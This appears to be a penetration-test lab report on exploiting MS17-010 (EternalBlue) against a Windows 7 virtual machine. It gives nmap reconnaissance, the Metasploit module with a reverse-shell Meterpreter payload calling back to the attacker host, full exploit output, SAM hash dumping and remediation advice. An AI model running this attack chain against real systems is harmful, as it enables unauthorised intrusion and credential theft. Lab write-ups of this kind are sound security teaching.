

Exploitation of MS17-010 (EternalBlue)

Remote Code Execution

Author: Sudip
Target System: Windows 7 Home Basic SP1 x64 (192.168.83.138)
Attacker Platform: Kali Linux (192.168.83.129)
Assessment Date: August 5, 2026

1. Executive Summary

A penetration testing assessment was conducted against the target host 192.168.83.138 within an isolated virtual laboratory network (192.168.83.0/24). The primary objective was to assess network services and identify remote exploitation vectors. The evaluation identified a critical Remote Code Execution (RCE) vulnerability in the target's Server Message Block version 1 (SMBv1) protocol processing driver (srv.sys), designated as **MS17-010 / CVE-2017-0143 (EternalBlue)**. Successful kernel pool manipulation enabled unauthenticated execution of arbitrary ring-0/ring-3 payloads, resulting in complete system compromise and initial access with NT AUTHORITY\SYSTEM privileges. Furthermore, post-exploitation credential harvesting retrieved active NTLM hash digests for all local accounts.

Risk Summary Matrix

Metric	Details
Risk Rating	CRITICAL (10.0/10.0)
Primary Vulnerability	MS17-010 (SMBv1 Kernel Non-Paged Pool Overflow / EternalBlue)
System Compromise	Unauthenticated Remote Code Execution (NT AUTHORITY\SYSTEM)
Confidentiality	Critical — Unrestricted access to memory, local SAM database, and filesystem
Integrity	Critical — Full system-level write capabilities and process manipulation
Availability	Critical — Kernel-level execution risks BSOD crashes if grooming fails

2. Scope and Methodology

The technical evaluation adhered to standard offensive security frameworks across six distinct operational phases:

- Reconnaissance & Network Host Discovery
- Comprehensive Port & Service Fingerprinting
- SMB Service Enumeration & Vulnerability Validation
- Kernel Pool Grooming & Payload Execution
- Post-Exploitation Privilege Verification & Credential Harvesting
- Remediation Analysis & Documentation

3. Technical Finding and Exploitation Phase

Finding: MS17-010 SMBv1 Remote Kernel Code Execution

Vulnerability Type: Remote Code Execution / Kernel Non-Paged Pool Buffer Overflow

CVSS v3 Base Score: 10.0 (Critical)

CVE ID: CVE-2017-0143 (MS17-010)

Access Vector: Network / Remote Port 445 (TCP)

Step 1: Local Network Host Discovery

Objective: Discover live hosts across the target subnet (192.168.83.0/24).

Command Executed:

`nmap -sn 192.168.83.1/24`

Analysis & Output: Nmap identified active host 192.168.83.138 with MAC Address 00:0C:29:EE:8B (VMware Virtual Machine).

```
(root@kali) ~ # nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-05 17:57 +0545
Nmap scan report for 192.168.83.1
Host is up (0.00034s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.138
Host is up (0.00022s latency).
MAC Address: 00:0C:29:EE:8B:C3 (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E8:74:DD (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.93 seconds
```

It Identifies live network hosts and active IP addresses, establishing the precise target endpoint within the local subnet scope.

Step 2: Comprehensive Port and Service Fingerprinting

Objective: Perform a full TCP port scan (1-65535), determine OS version, and script default detection.

Command Executed:

```
nmap -sS -sV -sC -O -p- 192.168.83.138
```

Analysis & Output: The scan identified active NetBIOS/SMB infrastructure (ports 135, 139, 445) and core RPC dynamic ports (49152-49157). SMB OS discovery confirmed the OS as Windows 7 Home Basic 7601 Service Pack 1 (x64) under workgroup WORKGROUP with computer name WIN-Q6J9SF2PL57. Message signing was detected as disabled on SMBv1.

```
(root@kali)~# nmap -sS -sV -sC -O -p- 192.168.83.138
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-05 17:58 +0545
Nmap scan report for 192.168.83.138
Host is up (0.00051s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc          Microsoft Windows RPC
49153/tcp  open  msrpc          Microsoft Windows RPC
49154/tcp  open  msrpc          Microsoft Windows RPC
49155/tcp  open  msrpc          Microsoft Windows RPC
49156/tcp  open  msrpc          Microsoft Windows RPC
49157/tcp  open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:EE:8B:C3 (VMware)
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: Host: WIN-Q6J9SF2PL57; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-Q6J9SF2PL57
|   NetBIOS computer name: WIN-Q6J9SF2PL57\X00
|   Workgroup: WORKGROUP\X00
|   System time: 2026-08-05T17:59:43+05:45
|_ smb2-time:
|   date: 2026-08-05T12:14:43
|_ start_date: 2026-08-05T12:10:58
|_ smb2-security-mode:
|   2.1:
|     Message signing enabled but not required
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|   message_signing: disabled (dangerous, but default)
|_ nbstat: NetBIOS name: WIN-Q6J9SF2PL57, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ee:8b:c3 (VMware)
|_ cclock-skew: mean: -1h55m00s, deviation: 3h19m11s, median: 0s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.90 seconds
```

Maps open TCP ports and fingerprints services, confirming target architecture, operating system version, and exposed SMB protocol endpoints.

Step 3: SMB Share Enumeration

Objective: Check for exposed network shares using anonymous SMB session credentials.

Command Executed:

```
smbclient -L //192.168.83.138 -N
```

Analysis & Output: Anonymous login succeeded but share listing over SMB1 failed with NT_STATUS_RESOURCE_NAME_NOT_FOUND, confirming SMBv1 handling behavior was non-standard or missing share definitions.

```
(root@kali)~# smbclient -L //192.168.83.138 -N
Anonymous login successful

Sharename      Type      Comment
-----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.83.138 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Probes SMB network shares anonymously to assess initial guest accessibility and confirm raw SMBv1 protocol communication behavior.

Step 4: Vulnerability Scanning

Objective: Execute targeted NSE scripts to check for the MS17-010 vulnerability on port 445.

Command Executed:

```
nmap -sS -p 445 --script smb-vuln-ms17-010 192.168.83.138
```

Analysis & Output: The target was confirmed to be VULNERABLE to Remote Code Execution via MS17-010.

```
(root@kali)~[/home/sudip]
# nmap -sS -p 445 --script smb-vuln-ms17-010 192.168.83.138
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-05 18:01 +0545
Nmap scan report for 192.168.83.138
Host is up (0.00031s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 00:0C:29:EE:8B:C3 (VMware)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_

Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
```

Evaluates target SMBv1 service responses, confirming unpatched vulnerability to MS17-010 and validating remote code execution feasibility.

Step 5: Exploit Selection and Configuration

Objective: Configure Metasploit Framework's MS17-010 EternalBlue module (exploit/windows/smb/ms17_010_eternalblue).

Commands Executed:

- Msfconsole
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.83.138
- show options

Analysis & Output: The module confirmed OS architecture (Windows 7 Home Basic SP1 x64), allocated 12 non-paged pool groom chunks, closed SMBv1 connections to create adjacent free memory holes next to SMBv2 buffers, and completed overwrite 0xC000000D. An egg-hunter payload executed in kernel space, stage transmission succeeded, and a high-privilege Meterpreter session opened.

```
(root@kali)~# msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g., use kerberos/get_ticket or use
kerberos forge silver ticket

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

[ metasploit v6.5.0-dev ]
+ -- [ 2,672 exploits - 1,363 auxiliary - 2,598 payloads ]
+ -- [ 436 post - 57 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search eternal blue

Matching Modules

#  Full Name                               Disclosure Date  Rank  Check  Name
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14     average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \_ target: Automatic Target
```

```
msf > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.83.138
RHOSTS => 192.168.83.138
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name      Current Setting  Required  Description
-      -
RHOSTS    192.168.83.138  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445             yes       The target port (TCP)
SMBDomain  (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass    (Optional) The password for the specified username
SMBUser    (Optional) The username to authenticate as
VERIFY_ARCH true            yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true           yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.83.129  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.
```

```

msf exploit(windows/smb/ms17_010_eternalblue) > run
* Started reverse TCP handler on 192.168.83.129:4444
* 192.168.83.138:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
* 192.168.83.138:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.3/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+'
and '?' was replaced with '*' in regular expression
* 192.168.83.138:445 - Scanned 1 of 1 hosts (100% complete)
* 192.168.83.138:445 - The target is vulnerable.
* 192.168.83.138:445 - Connecting to target for exploitation.
* 192.168.83.138:445 - Connection established for exploitation.
* 192.168.83.138:445 - Target OS selected valid for OS indicated by SMB reply
* 192.168.83.138:445 - CORE raw buffer dump (40 bytes)
* 192.168.83.138:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
* 192.168.83.138:445 - 0x00000010 61 73 69 63 20 37 36 38 31 20 53 65 72 76 69 63 asic 7601 Servic
* 192.168.83.138:445 - 0x00000020 65 20 50 61 63 65 20 31 e Pack 1
* 192.168.83.138:445 - Target arch selected valid for arch indicated by DCE/RPC reply
* 192.168.83.138:445 - Trying exploit with 12 Groom Allocations.
* 192.168.83.138:445 - Sending all but last fragment of exploit packet
* 192.168.83.138:445 - Starting non-paged pool grooming
* 192.168.83.138:445 - Sending SMBv2 buffers
* 192.168.83.138:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
* 192.168.83.138:445 - Sending final SMBv2 buffers.
* 192.168.83.138:445 - Sending last fragment of exploit packet!
* 192.168.83.138:445 - Receiving response from exploit packet
* 192.168.83.138:445 - ETHERBLUE overwrite completed successfully (0xC000000D)!
* 192.168.83.138:445 - Sending egg to corrupted connection.
* 192.168.83.138:445 - Triggering free of corrupted buffer.
* 192.168.83.138:445 - Sending stage (255678 bytes) to 192.168.83.138
* 192.168.83.138:445 - -----WIN-----
* 192.168.83.138:445 -
Meterpreter session 1 opened (192.168.83.129:4444 -> 192.168.83.138:49159) at 2026-08-05 18:03:08 +0545

```

Triggers non-paged pool memory grooming and kernel exploitation, successfully delivering the payload and spawning an active Meterpreter shell.

Step 7: Post-Exploitation Validation & Credential Extraction

Objective: Validate system execution context, process list, user accounts, and extract SAM database password hashes.

Commands Executed:

- getuid
- sysinfo
- getprivs
- ps
- shell
- net user
- hashdump

Execution Outcome:

Identity: NT AUTHORITY\SYSTEM

OS Details: Windows 7 (6.1 Build 7601, Service Pack 1), Architecture: x64

Privileges Granted: SeAssignPrimaryTokenPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeTcbPrivilege

Local Users Enumerated: Administrator, Guest, LOQ (Member of local Administrators group)

Dumped SAM Hashes:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

LOQ:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer      : WIN-Q6J9SF2PL57
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en-US
Domain       : WORKGROUP
Logged On Users : 2
meterpreter > getsystem -t 1
[-] Already running as SYSTEM
meterpreter > getprivs

Enabled Process Privileges
-----
Name
-----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege

meterpreter > ps

Process List
-----
PID   PPID   Name                Arch  Session  User                                Path
-----
0      0      [System Process]    x64   0         NT AUTHORITY\SYSTEM
4      0      System              x64   0         NT AUTHORITY\SYSTEM
128    472    svchost.exe         x64   0         NT AUTHORITY\NETWORK SERVICE    \SystemRoot\System32\smss.exe
264    4      smss.exe            x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\smss.exe
332    320    csrss.exe           x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\csrss.exe
336    592    WmiPrvSE.exe        x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\wbem\wmiPrvse.exe
380    320    wininit.exe         x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\wininit.exe
388    372    csrss.exe           x64   1         NT AUTHORITY\SYSTEM              C:\Windows\system32\csrss.exe
420    372    winlogon.exe        x64   1         NT AUTHORITY\SYSTEM              C:\Windows\system32\winlogon.exe
472    380    services.exe        x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\services.exe
488    380    lsass.exe           x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\lsass.exe
496    380    lsm.exe             x64   0         NT AUTHORITY\SYSTEM              C:\Windows\system32\lsm.exe
592    472    svchost.exe         x64   0         NT AUTHORITY\SYSTEM
672    472    svchost.exe         x64   0         NT AUTHORITY\NETWORK SERVICE
760    472    svchost.exe         x64   0         NT AUTHORITY\LOCAL SERVICE
800    472    svchost.exe         x64   0         NT AUTHORITY\SYSTEM
832    472    svchost.exe         x64   0         NT AUTHORITY\SYSTEM
960    472    svchost.exe         x64   0         NT AUTHORITY\LOCAL SERVICE
1008   472    spoolsv.exe         x64   0         NT AUTHORITY\SYSTEM              C:\Windows\System32\spoolsv.exe

C:\Windows\system32>net user
net user

User accounts for \\

Administrator      Guest              LOQ
The command completed with one or more errors.

C:\Windows\system32>net localgroup administrators
net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
LOQ
The command completed successfully.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
LOQ:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
meterpreter > ss

```

Queries target system privileges and dumps the local SAM database, proving full system control and harvesting NTLM credential hashes.

4. Impact Assessment

Full Kernel-Level System Takeover: Achieving NT AUTHORITY\SYSTEM access allows complete control over the host operating system, bypass of local access control lists (ACLs), and execution of arbitrary code in memory.

Credential Dumping & Lateral Movement: Extracted NTLM hash digests (31d6cfe0d16ae931b73c59d7e0c089c0 indicating blank/default parameters for enumerated accounts) allow offline cracking or immediate Pass-the-Hash (PtH) attacks across the network segment.

Persistence & Network Propagation: Unauthenticated SMB exploits act as key vectors for automated ransomware/worm propagation (e.g., WannaCry, NotPetya).

5. Remediation & Recommendations

Immediate Technical Remediation

Apply Security Update MS17-010: Deploy Microsoft Security Bulletin **MS17-010** (KB4012212 / KB4012215) immediately to patch srv.sys and srv2.sys memory allocation logic.

Disable SMBv1 Protocol: Disable the legacy SMBv1 protocol globally across registry settings or Group Policy Objects (GPO):

Block Edge SMB Traffic: Restrict incoming and outgoing traffic on TCP ports 139 and 445 at host-based (Windows Firewall) and perimeter firewalls.

Enable SMB Signing: Force SMB Signing (RequireSecuritySignature = 1) across Domain/Local Policies to prevent connection manipulation and relay attacks.

System Migration: Upgrade legacy, end-of-life operating systems (Windows 7 / Server 2008 R2) to modern, actively supported platforms (Windows 10/11, Windows Server 2022+).

7. Disclaimer

This technical document was generated for authorized security auditing, educational purposes, and vulnerability remediation within an isolated lab environment. Unauthorized penetration testing against systems without explicit prior written permission is strictly illegal.